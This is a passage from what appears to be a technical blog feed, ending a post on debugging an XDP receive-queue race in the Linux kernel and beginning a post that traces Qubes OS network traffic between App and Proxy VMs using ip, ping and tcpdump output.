Try &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sudo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ethtool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;iface&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;combined&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; if the other does not work.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Thankfully the configuration is one liner:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;ethtool&lt;span class="w"&gt; &lt;/span&gt;-L&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;iface&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;rx&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="conclusions"&gt;Conclusions&lt;/h2&gt;
&lt;p&gt;This was hard. One innocently expects the bugs in the user application, not in the kernel.&lt;/p&gt;
&lt;p&gt;And most of the time that’s true!&lt;/p&gt;
&lt;p&gt;Debugging confirmed the opposite. And it was not easy.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;do_work&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; shown is an oversimplification. The real code decouple the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;read_packet&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; from the processing from the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;free_packet&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; into a serie of threads.&lt;/p&gt;
&lt;p&gt;And if debugging a multithreading application is not hard enough, putting a breakpoint in some places added enough delay that the bug was not trigger anymore.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Heisenbug"&gt;Heisenbug!&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;GDB’s &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;non&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;stop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; helped to reduce the impact: when a breakpoint is hit by a thread, only that thread is stopped.&lt;/p&gt;
&lt;p&gt;A special thanks to my college Mario that dug into kernel’s git log and found &lt;a href="https://github.com/torvalds/linux/commit/bf0bdd1343efbbf65b4d53aef1fce14acbd79d50"&gt;commit bf0bdd13&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;That was the missing piece to solve this puzzle.&lt;/p&gt;
&lt;h2 id="references"&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blog.packagecloud.io/eng/2016/06/22/monitoring-tuning-linux-networking-stack-receiving-data/"&gt;Monitoring and Tuning the Linux Networking Stack: Receiving Data&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.infradead.org/~mchehab/rst_conversion/networking/scaling.html"&gt;Scaling in the Linux Networking Stack&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.kernel.org/doc/html/latest/networking/af_xdp.html"&gt;Linux AF_XDP&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2020/11/29/RC-on-XDP-RX-Queue.html" rel="alternate" type="text/html" title="RC-on-XDP-RX-Queue"/>
    <category term="debugging" label="debugging"/>
    <category term="queue" label="queue"/>
    <category term="lock free" label="lock free"/>
    <category term="kernel" label="kernel"/>
    <published>2020-11-29T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2020/11/19/Qubes-Networking.html</id>
    <title>Qubes OS Networking</title>
    <updated>2020-11-19T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;&lt;a href="https://www.qubes-os.org/"&gt;Qubes OS&lt;/a&gt; has an interesting network system to isolate more-or-less trusted &lt;em&gt;application&lt;/em&gt; virtual machines (App) from absolute untrusted &lt;em&gt;network&lt;/em&gt; VMs (Net).&lt;/p&gt;
&lt;p&gt;These last ones have the drivers required to handle ethernet and wifi cards that expose them to a potentially deathly bug lurking in the drivers.&lt;/p&gt;
&lt;p&gt;An additional VM is put in the middle between App VMs and Net VMs. This absolute trusted &lt;em&gt;proxy&lt;/em&gt; VM serves as a safe firewall (Proxy).&lt;/p&gt;
&lt;p&gt;In this post will explore how these VMs connect and how the packets are forwarded up and down along this chain of VMs.&lt;!--more--&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Three App VMs: one for work, other for personal stuff, both considered relatively-trusted and one more VM for untrusted stuff, all connected to the “firewall” VM that forwards the packets to the Net VM.
&lt;br /&gt;&lt;br /&gt;
The “firewall” VM is isolated except for the firewall/routing processing so it is considered trusted while Net VM is not.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/network/qubes/qubes-network.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="addresses"&gt;Addresses&lt;/h2&gt;
&lt;p&gt;The first obvious thing to notice is the existence of ethernet cards both in App VM and Proxy VM.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;root@appvm:#&lt;span class="w"&gt; &lt;/span&gt;ip&lt;span class="w"&gt; &lt;/span&gt;address&lt;span class="w"&gt; &lt;/span&gt;show
&lt;span class="m"&gt;2&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;eth0:&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;mtu&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1500&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;qdisc&lt;span class="w"&gt; &lt;/span&gt;mq&lt;span class="w"&gt; &lt;/span&gt;state&lt;span class="w"&gt; &lt;/span&gt;UP&lt;span class="w"&gt; &lt;/span&gt;group&lt;span class="w"&gt; &lt;/span&gt;default&lt;span class="w"&gt; &lt;/span&gt;qlen&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1000&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;link/ether&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;:16:3e:5e:6c:19&lt;span class="w"&gt; &lt;/span&gt;brd&lt;span class="w"&gt; &lt;/span&gt;ff:ff:ff:ff:ff:ff
&lt;span class="w"&gt;    &lt;/span&gt;inet&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.7.27/32&lt;span class="w"&gt; &lt;/span&gt;brd&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.255.255.255&lt;span class="w"&gt; &lt;/span&gt;scope&lt;span class="w"&gt; &lt;/span&gt;global&lt;span class="w"&gt; &lt;/span&gt;eth0
&lt;span class="w"&gt;       &lt;/span&gt;valid_lft&lt;span class="w"&gt; &lt;/span&gt;forever&lt;span class="w"&gt; &lt;/span&gt;preferred_lft&lt;span class="w"&gt; &lt;/span&gt;forever
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;root@proxyvm:#&lt;span class="w"&gt; &lt;/span&gt;ip&lt;span class="w"&gt; &lt;/span&gt;address&lt;span class="w"&gt; &lt;/span&gt;show
&lt;span class="m"&gt;2&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;eth0:&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;mtu&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1500&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;qdisc&lt;span class="w"&gt; &lt;/span&gt;pfifo_fast&lt;span class="w"&gt; &lt;/span&gt;state&lt;span class="w"&gt; &lt;/span&gt;UP&lt;span class="w"&gt; &lt;/span&gt;group&lt;span class="w"&gt; &lt;/span&gt;default&lt;span class="w"&gt; &lt;/span&gt;qlen&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1000&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;link/ether&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;:16:3e:5e:6c:18&lt;span class="w"&gt; &lt;/span&gt;brd&lt;span class="w"&gt; &lt;/span&gt;ff:ff:ff:ff:ff:ff
&lt;span class="w"&gt;    &lt;/span&gt;inet&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.1.26/32&lt;span class="w"&gt; &lt;/span&gt;brd&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.1.26&lt;span class="w"&gt; &lt;/span&gt;scope&lt;span class="w"&gt; &lt;/span&gt;global&lt;span class="w"&gt; &lt;/span&gt;eth0
&lt;span class="w"&gt;       &lt;/span&gt;valid_lft&lt;span class="w"&gt; &lt;/span&gt;forever&lt;span class="w"&gt; &lt;/span&gt;preferred_lft&lt;span class="w"&gt; &lt;/span&gt;forever
&lt;span class="m"&gt;4&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;vif37.0:&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;mtu&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1500&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;qdisc&lt;span class="w"&gt; &lt;/span&gt;pfifo_fast&lt;span class="w"&gt; &lt;/span&gt;state&lt;span class="w"&gt; &lt;/span&gt;UP&lt;span class="w"&gt; &lt;/span&gt;group&lt;span class="w"&gt; &lt;/span&gt;default&lt;span class="w"&gt; &lt;/span&gt;qlen&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;32&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;link/ether&lt;span class="w"&gt; &lt;/span&gt;fe:ff:ff:ff:ff:ff&lt;span class="w"&gt; &lt;/span&gt;brd&lt;span class="w"&gt; &lt;/span&gt;ff:ff:ff:ff:ff:ff
&lt;span class="w"&gt;    &lt;/span&gt;inet&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.7.1/32&lt;span class="w"&gt; &lt;/span&gt;scope&lt;span class="w"&gt; &lt;/span&gt;global&lt;span class="w"&gt; &lt;/span&gt;vif37.0
&lt;span class="w"&gt;       &lt;/span&gt;valid_lft&lt;span class="w"&gt; &lt;/span&gt;forever&lt;span class="w"&gt; &lt;/span&gt;preferred_lft&lt;span class="w"&gt; &lt;/span&gt;forever
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9uZXR3b3JrL3F1YmVzL3F1YmVzLWlwcy5wbmcnIC8+bWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9uZXR3b3JrL3F1YmVzL3F1YmVzLWlwcy5wbmcnIC8+bWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/network/qubes/qubes-ips.png' /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“The virtual interfaces in client VMs are called &lt;code&gt;ethX&lt;/code&gt;, and are provided by the &lt;code&gt;xen_netfront&lt;/code&gt; kernel module, and the corresponding interfaces in the Net/Proxy VM are called &lt;code&gt;vifX.Y&lt;/code&gt; and are created by the &lt;code&gt;xen_netback&lt;/code&gt; module.” &lt;br /&gt;–&lt;a href="https://theinvisiblethings.blogspot.com/2011/09/playing-with-qubes-networking-for-fun.html"&gt;Playing with Qubes networking for fun&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;label for='ClRoZSBtb3N0LXJpZ2h0IGJpdCBvZiB0aGUgbW9zdC1sZWZ0IGJ5dGUgKGBmZWApIGlzIGV2ZW4gc28gaXQgaXMgYW4gdW5pY2FzdCBhZGRyZXNzLgoKVGhlIHNlY29uZCBtb3N0LXJpZ2h0IGJpdCBvZiB0aGUgc2FtZSBieXRlIGlzIG9kZCBzbyBpdCBpcyBhIGxvY2FsbHkKYWRtaW5pc3RyYXRlZCBhZGRyZXNzIGFuZCBpdCBtZWFucyB0aGF0IHdhcyBhcmJpdHJhcnkgc2V0IGJ5IFF1YmVzL1hlbi4KIG1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoZSBtb3N0LXJpZ2h0IGJpdCBvZiB0aGUgbW9zdC1sZWZ0IGJ5dGUgKGBmZWApIGlzIGV2ZW4gc28gaXQgaXMgYW4gdW5pY2FzdCBhZGRyZXNzLgoKVGhlIHNlY29uZCBtb3N0LXJpZ2h0IGJpdCBvZiB0aGUgc2FtZSBieXRlIGlzIG9kZCBzbyBpdCBpcyBhIGxvY2FsbHkKYWRtaW5pc3RyYXRlZCBhZGRyZXNzIGFuZCBpdCBtZWFucyB0aGF0IHdhcyBhcmJpdHJhcnkgc2V0IGJ5IFF1YmVzL1hlbi4KIG1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
The most-right bit of the most-left byte (&lt;code&gt;fe&lt;/code&gt;) is even so it is an unicast address.
&lt;br /&gt;&lt;br /&gt;
The second most-right bit of the same byte is odd so it is a locally administrated address and it means that was arbitrary set by Qubes/Xen.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;ethX&lt;/code&gt; links have different addresses with the same &lt;a href="https://hwaddress.com/company/xensource-inc/"&gt;Xensource OUI&lt;/a&gt; &lt;code&gt;00:16:3e&lt;/code&gt; while the &lt;code&gt;vifX.Y&lt;/code&gt; have the same &lt;a href="https://en.wikipedia.org/wiki/MAC_address"&gt;unicast-locally administrated&lt;/a&gt; MAC: &lt;code&gt;fe:ff:ff:ff:ff:ff&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="routing"&gt;Routing&lt;/h2&gt;
&lt;p&gt;Here a ping from the App VM is routed to the Proxy VM that in turns routes the packet to the Net VM and the outside world and the response goes back through the same path to the App VM&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;root@appvm:#&lt;span class="w"&gt; &lt;/span&gt;ping&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;.8.8.8
&lt;span class="m"&gt;64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bytes&lt;span class="w"&gt; &lt;/span&gt;from&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;.8.8.8:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;icmp_seq&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ttl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;53&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;time&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;.1&lt;span class="w"&gt; &lt;/span&gt;ms
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;root@appvm:#&lt;span class="w"&gt; &lt;/span&gt;tcpdump&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;eth0
&lt;span class="m"&gt;23&lt;/span&gt;:56:57.072295&lt;span class="w"&gt; &lt;/span&gt;ARP,&lt;span class="w"&gt; &lt;/span&gt;Request&lt;span class="w"&gt; &lt;/span&gt;who-has&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.7.1&lt;span class="w"&gt; &lt;/span&gt;tell&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.7.27,&lt;span class="w"&gt; &lt;/span&gt;length&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;28&lt;/span&gt;
&lt;span class="m"&gt;23&lt;/span&gt;:56:57.072330&lt;span class="w"&gt; &lt;/span&gt;ARP,&lt;span class="w"&gt; &lt;/span&gt;Reply&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.7.1&lt;span class="w"&gt; &lt;/span&gt;is-at&lt;span class="w"&gt; &lt;/span&gt;fe:ff:ff:ff:ff:ff,&lt;span class="w"&gt; &lt;/span&gt;length&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;28&lt;/span&gt;
&lt;span class="o"&gt;(&lt;/span&gt;icmp&lt;span class="w"&gt; &lt;/span&gt;omitted&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;root@proxyvm:#&lt;span class="w"&gt; &lt;/span&gt;tcpdump&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;vif37.0
&lt;span class="m"&gt;23&lt;/span&gt;:56:57.072295&lt;span class="w"&gt; &lt;/span&gt;ARP,&lt;span class="w"&gt; &lt;/span&gt;Request&lt;span class="w"&gt; &lt;/span&gt;who-has&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.7.1&lt;span class="w"&gt; &lt;/span&gt;tell&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.7.27,&lt;span class="w"&gt; &lt;/span&gt;length&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;28&lt;/span&gt;
&lt;span class="m"&gt;23&lt;/span&gt;:56:57.072330&lt;span class="w"&gt; &lt;/span&gt;ARP,&lt;span class="w"&gt; &lt;/span&gt;Reply&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.7.1&lt;span class="w"&gt; &lt;/span&gt;is-at&lt;span class="w"&gt; &lt;/span&gt;fe:ff:ff:ff:ff:ff,&lt;span class="w"&gt; &lt;/span&gt;length&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;28&lt;/span&gt;
&lt;span class="o"&gt;(&lt;/span&gt;icmp&lt;span class="w"&gt; &lt;/span&gt;omitted&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9uZXR3b3JrL3F1YmVzL3F1YmVzLWFycC5wbmcnIC8+bWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9uZXR3b3JrL3F1YmVzL3F1YmVzLWFycC5wbmcnIC8+bWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/network/qubes/qubes-arp.png' /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The ARP request/reply is the App VM asking for the MAC address of its configured gateway, the &lt;code&gt;10.137.7.1&lt;/code&gt; that it is the IP of the Proxy VM’s &lt;code&gt;vif37.0&lt;/code&gt; interface.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;root@appvm:#&lt;span class="w"&gt; &lt;/span&gt;ip&lt;span class="w"&gt; &lt;/span&gt;route&lt;span class="w"&gt; &lt;/span&gt;show
default&lt;span class="w"&gt; &lt;/span&gt;via&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.7.1&lt;span class="w"&gt; &lt;/span&gt;dev&lt;span class="w"&gt; &lt;/span&gt;eth0
&lt;span class="m"&gt;10&lt;/span&gt;.137.7.1&lt;span class="w"&gt; &lt;/span&gt;dev&lt;span class="w"&gt; &lt;/span&gt;eth0&lt;span class="w"&gt; &lt;/span&gt;scope&lt;span class="w"&gt; &lt;/span&gt;link
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='CllvdSBtYXkgZmluZCBgUkVBQ0hBQkxFYCBvciBgU1RBTEVgOgp0aGUgZmlyc3QgbWVhbnMgdGhhdCB0aGUgZW50cnkgaXMgdmFsaWQgd2hpbGUgdGhlIHNlY29uZAptZWFucyBpdCAqd2FzKiB2YWxpZC4KCklmIHlvdSBhcmUgcXVpY2tseSBlbm91Z2ggeW91IG1heSBzZWUgYERFTEFZYDogdGhlIGxlYXJuaW5nIGFib3V0IHRoZQpyZWFjaGFiaWxpdHkgaXMgc3RpbGwgaW4gcHJvZ3Jlc3MuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CllvdSBtYXkgZmluZCBgUkVBQ0hBQkxFYCBvciBgU1RBTEVgOgp0aGUgZmlyc3QgbWVhbnMgdGhhdCB0aGUgZW50cnkgaXMgdmFsaWQgd2hpbGUgdGhlIHNlY29uZAptZWFucyBpdCAqd2FzKiB2YWxpZC4KCklmIHlvdSBhcmUgcXVpY2tseSBlbm91Z2ggeW91IG1heSBzZWUgYERFTEFZYDogdGhlIGxlYXJuaW5nIGFib3V0IHRoZQpyZWFjaGFiaWxpdHkgaXMgc3RpbGwgaW4gcHJvZ3Jlc3MuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
You may find &lt;code&gt;REACHABLE&lt;/code&gt; or &lt;code&gt;STALE&lt;/code&gt;: the first means that the entry is valid while the second means it &lt;em&gt;was&lt;/em&gt; valid.
&lt;br /&gt;&lt;br /&gt;
If you are quickly enough you may see &lt;code&gt;DELAY&lt;/code&gt;: the learning about the reachability is still in progress.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;As expected, the App VM saves this in its ARP cache:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;root@appvm:#&lt;span class="w"&gt; &lt;/span&gt;ip&lt;span class="w"&gt; &lt;/span&gt;neigh&lt;span class="w"&gt; &lt;/span&gt;show
&lt;span class="m"&gt;10&lt;/span&gt;.137.7.1&lt;span class="w"&gt; &lt;/span&gt;dev&lt;span class="w"&gt; &lt;/span&gt;eth0&lt;span class="w"&gt; &lt;/span&gt;lladdr&lt;span class="w"&gt; &lt;/span&gt;fe:ff:ff:ff:ff:ff&lt;span class="w"&gt; &lt;/span&gt;STALE
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9uZXR3b3JrL3F1YmVzL3F1YmVzLWZpcnN0LXBhcnQtcGluZy5wbmcnIC8+bWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9uZXR3b3JrL3F1YmVzL3F1YmVzLWZpcnN0LXBhcnQtcGluZy5wbmcnIC8+bWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/network/qubes/qubes-first-part-ping.png' /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Once the App VM knows the Link Layer address (aka &lt;code&gt;lladdr&lt;/code&gt;), it sends the ICMP echo request, the Proxy VM &lt;em&gt;forwards&lt;/em&gt; it and forwards back the response.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;root@appvm:#&lt;span class="w"&gt; &lt;/span&gt;tcpdump&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;eth0
&lt;span class="o"&gt;(&lt;/span&gt;arp&lt;span class="w"&gt; &lt;/span&gt;omitted&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="m"&gt;23&lt;/span&gt;:56:58.014156&lt;span class="w"&gt; &lt;/span&gt;IP&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.7.27&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;.8.8.8:&lt;span class="w"&gt; &lt;/span&gt;ICMP&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;request,&lt;span class="w"&gt; &lt;/span&gt;id&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1177&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;seq&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;length&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;64&lt;/span&gt;
&lt;span class="m"&gt;23&lt;/span&gt;:56:58.027402&lt;span class="w"&gt; &lt;/span&gt;IP&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;.8.8.8&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.137.7.27:&lt;span class="w"&gt; &lt;/span&gt;ICMP&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;reply,&lt;span class="w"&gt; &lt;/span&gt;id&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1177&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;seq&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;length&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;64&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;root@proxyvm:#&lt;span class="w"&gt; &lt;/span&gt;tcpdump&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;vif37.0
&lt;span class="o"&gt;(&lt;/span&gt;arp&lt;span class="w"&gt; &lt;/span&gt;omitted&lt;span class="o"&gt;)&lt;/span&gt;
